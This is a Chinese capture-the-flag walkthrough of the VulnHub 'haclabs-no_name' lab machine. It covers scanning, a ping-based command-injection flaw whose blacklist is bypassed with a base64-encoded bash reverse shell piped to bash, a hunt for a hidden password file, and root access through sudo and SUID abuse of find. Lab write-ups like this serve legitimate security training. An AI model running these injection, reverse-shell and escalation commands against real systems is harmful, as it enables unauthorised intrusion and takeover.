靶机测试haclabs-no_name

news2024/11/23 19:36:41

靶机地址

https://www.vulnhub.com/entry/haclabs-no_name,429/

靶机测试

nmap扫描

└─$ nmap -T5 -A 192.168.1.100 -oA hl-ports

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-12 11:16 CST
Nmap scan report for 192.168.1.100
Host is up (0.00040s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
zsh: segmentation fault  nmap -T5 -A 192.168.1.100 -oA hl-ports

开放80端口

目录扫描

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php

访问主页

经过测试发现命令执行漏洞

http://192.168.1.100/superadmin.php

分析php代码

<!--?php
   if (isset($_POST['submitt']))
{
   	$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
   	$pinged=$_POST['pinger'];
   	$newStr = str_replace($word, "", $pinged);
   	if(strcmp($pinged, $newStr) == 0)
		{
		    $flag=1;
		}
       else
		{
		   $flag=0;
		}
}

if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre-->

绕过命令执行反弹 shell

可以看到words设置黑名单,过滤了很多字符

我们可以执行

bash -i >& /dev/tcp/192.168.1.53/9090 0>&1 转成 base64
echo "bash -i >& /dev/tcp/192.168.1.53/9090 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTA5MCAwPiYxCg==
监听本地 9090 端口
nc -lvnp 9090
127.0.0.1|echo
"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTA5MCAwPiYxCg=="|base64 -d|bash

切换 python shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

然后再解决一下乱码问题,上篇文章已经写过了,这里省略

查看当前用户

cat /etc/passwd | grep bash

三个用户 刚好三个 flag 最终的是 root 用户下的 flag.txt

第一个 flag

cat /home/yash/flag1.txt
得到第一个 flag1.txt
Due to some security issues,I have saved haclabs password in a hidden file.

Due to some security issues,I have saved haclabs password in a hidden file. 这段的意思是 haclabs 的密码隐藏在一个文件里面

搜索隐藏文件

文件是 yash 用户建立的 可以使用搜索用户的文件

find / -type f -user yash 2>/dev/null

find / -name ".*" -print
find / -name ".*" 2>/dev/null
搜索所有隐藏文件

用户 haclabs 密码 haclabs1234

第二个 flag

su haclabs 登录 查看当前的 flag2.txt

其实也可以用 www 的权限访问 获取 flag2.txt

特权提升

sudo 提权 第一种方法

查看录下有sudo_as_admin_successful,

sudo -l

find 命令不需要密码

sudo find . -exec /bin/sh \; -quit

第二种 suid 提权

查找 suid 文件
find /usr -perm -u=s -type f 2>/dev/null

find test -exec /bin/bash -p \; -quit

得到第三个 flag

总结

  • nmap 扫描

  • gobuster 目录扫描

  • 分析 php 漏洞

  • 绕过命令执行漏洞

  • 反弹 SHELL

  • 搜索隐藏文件

  • linux suid 提权

  • linux sudo 提权

人间忽晚,山河已秋

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/158308.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

获工信部认可!腾讯牵头的《零信任系统技术规范》入选工信部百项团标应用示范

近日&#xff0c;工信部发布《关于公布2022年团体标准应用示范项目的通告》&#xff0c;由腾讯安全牵头起草&#xff0c;公安部第三研究所、国家计算机网络应急技术处理协调中心、中国移动设计院等业内16家零信任厂商、测评机构及用户联合编制的中国第一部《零信任系统技术规范…

Webpack搭建本地服务器

1、开启本地服务器 1.1、为什么要搭建本地服务器&#xff1f; 目前我们开发的代码&#xff0c;为了运行需要有两个操作&#xff1a; 操作一&#xff1a;npm run build&#xff0c;编译相关的代码&#xff1b;操作二&#xff1a;通过live server或者直接通过浏览器&#xff0…

【ROS】—— 机器人系统仿真 —URDF语法 (十三)

文章目录前言1. 概述1.1 概念1.2 作用1.3 相关组件1.3.1 URDF1.3.2 RViz1.3.3 gazebo1.4 准备2. URDF集成Rviz基本流程2.1 创建功能包&#xff0c;导入依赖2.2 编写 URDF 文件2.3 在 launch 文件中集成 URDF 与 Rviz3. URDF语法详解3.1 robot3.2 link3.3 joint3.4 URDF练习3.5 …

Lock锁原理解析【Android进阶】

Lock锁原理解析【Android进阶】 Lock简介 Lock接口位于J.U.C下locks包内&#xff0c;其定义了Lock应该具备的方法。 Lock 方法签名&#xff1a; void lock()&#xff1a;获取锁&#xff08;不死不休&#xff0c;拿不到就一直等&#xff09;boolean tryLock()&#xff1a;获…

13.0、Linux-安装Tomcat、以及防火墙常用命令

13.0、Linux-安装Tomcat、以及防火墙常用命令 防火墙常用命令在本文最下方-> 安装 Tomcat -> 第一步&#xff1a;进入官网下载 Tomcat8 -> Apache Tomcat - Apache Tomcat 8 Software Downloads 第二步&#xff1a;将下载好的文件 通过 Xshell 和 Xftp 工具上传到 L…

前端面试题——React重点

文章目录React相关问题1. 函数式组件与Class组件有什么不同&#xff1f;2. 说说React的fiber架构&#xff1f;3. 协调4. 虚拟DOM (Virtual DOM)React相关问题 1. 函数式组件与Class组件有什么不同&#xff1f; 答&#xff1a; ① 函数式组件不需要继承&#xff0c;直接 “fun…

YUV 文件读取、显示、缩放、裁剪等操作教程

系列文章目录 文章目录系列文章目录前言一、Chroma subsampling二、读取 YUV 文件2.1 准备工作2.2 Planar 模式2.2.1 YUV420P 格式读取2.2.2 YUV422P 格式读取2.2.3 NV21 格式读取2.2.4 NV12 格式读取2.2.5 小结2.3 Packed 模式2.3.1 YUYV 格式读取2.3.2 小结三、SDL 显示 YUV …

自动化测试是什么?为什么要做自动化测试?

自动化测试是什么&#xff1f;相信对软件测试有一定了解的朋友都不会感到陌生。自动化测试正如字面上理解得那样&#xff0c;是一种自动完成测试工作的测试方式。虽然是说的自动化&#xff0c;但是也是需要测试员手动编写代码去完成测试工作。那么&#xff0c;为什么要做自动化…

【链表】leetcode19.删除链表的倒数第N个节点(C/C++/Java/Js)

leetcode19.删除链表的倒数第N个节点1 题目2 思路3 代码3.1 C版本3.2 C版本3.3 Java版本3.4 JavaScript版本4 总结1 题目 题源链接 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2…

微服务了解

1、什么是微服务 微服务就是根据业务功能模块把一个单体的应用拆分成许多个独立的项目&#xff0c;每个项目完成一部分的业务功能&#xff0c;然后独立开发和部署。这些独立的项目就成为一个微服务。进而构成一个服务集群。 微服务个人理解就是将之前的单一服务架构&#xff…

【Python】词云之wordcloud参数全解析

写了一半&#xff0c;明天继续 目录一基础用法二、WordCloud类形参说明2.1 常用参数2.11 字体 font_path2.12 画布尺寸 width、hight2.13 比例&#xff08;缩放&#xff09;scale2.14 颜色 colormap2.15 颜色color_func2.16 组合频率collocations2.17 遮罩&#xff08;蒙版&…

SpringBoot(57) 整合Plumelog实现日志查询

文章目录一、前言二、docker-compose一键搭建日志服务docker-compose.yml三、SpringBoot整合Plumelog1、pom.xml2、application.yml3、logback-spring.xml4、启动项目记录日志四、本文案例demo源码一、前言 Plumelog 一个简单易用的java分布式日志组件 https://gitee.com/plum…

机器学习笔记之深度信念网络(三)贪心逐层预训练算法

机器学习笔记之深度信念网络——贪心逐层预训练算法引言回顾&#xff1a;深度信念网络的结构表示回顾&#xff1a;RBM\text{RBM}RBM叠加思想贪心逐层预训练算法引言 上一节介绍了深度信念网络模型的构建思想&#xff0c;本节将介绍后验概率求解——贪心逐层预训练算法。 回顾…

窥探Swift源码下的Array

本文字数&#xff1a;6730字预计阅读时间&#xff1a;15 分钟用最通俗的语言&#xff0c;描述最难懂的技术前情提要我在之前的文章一次遍历导致的崩溃中提到了&#xff0c;如果有机会会把相关的Swift集合源码阅读。首先对自己的开发和知识储备会有进一步的升华&#xff0c;另外…

Redis -- IO多路复用及redis6的多线程

都知道redis是通过单线程io多路复用来避免并发问题的&#xff0c;然后在redis6的时候redis引入了多线程&#xff0c;这里就来详细说说IO多路复用模型以及redis的多线程。 Redis 的 I/O 多路复用模型有效的解决单线程的服务端&#xff0c;使用不阻塞方式处理多个 client 端请求…

optional妙用解决NullPointerException

背景 作为一个java程序员&#xff0c;我们在日常开发中经常会碰到一个臭名昭著空异常&#xff0c;所有程序员都经历过的痛点&#xff0c;空指针异常&#xff08;NullPointerException&#xff09; java8中出现的Optional是java开始迈向函数式编程的一大步&#xff0c;也有效的…

实验 4 图像复原与重建

目录一、实验目的二、实验例题1. 噪声模型2. 只存在噪声的滤波——空间滤波3. 退化函数建模4. 存在线性退化和噪声的滤波(1) 逆滤波(2) 最小均方误差(维纳)滤波附录一、实验目的 了解一些常用随机噪声的生成方法。掌握根据指定退化函数对图像进行退化的方法。掌握当模糊图像只…

十一、Gtk4-Instance Initialization and destruction

文本文件编辑器(tfe)的新版本将在本节和以下四节中编写。它是tfe5。与之前的版本相比&#xff0c;有很多变化。它们位于两个目录中&#xff0c;src/tfe5和src/tfetextview。 1 封装 我们将C源文件分为两部分。但就封装而言&#xff0c;这还不够。 tfe.c包含除Tfe TextView之…

【Linux】线程控制

目录&#x1f308;前言&#x1f338;1、Linux线程控制&#x1f361;1.1、创建线程(pthread_create)&#x1f362;1.2、通过指令查看线程PID和LWP&#x1f367;1.3、获取线程ID(pthread_self)&#x1f368;1.4、线程终止(pthread_exit/cancel)&#x1f368;1.5、线程等待(pthrea…

一文读懂PCB阻焊工艺

PCB阻焊油墨根据固化方式&#xff0c;阻焊油墨有感光显影型的油墨&#xff0c;有热固化的热固油墨&#xff0c;还有UV光固化的UV油墨。而根据板材分类&#xff0c;又有PCB硬板阻焊油墨&#xff0c;FPC软板阻焊油墨&#xff0c;还有铝基板阻焊油墨&#xff0c;铝基板油墨也可以用…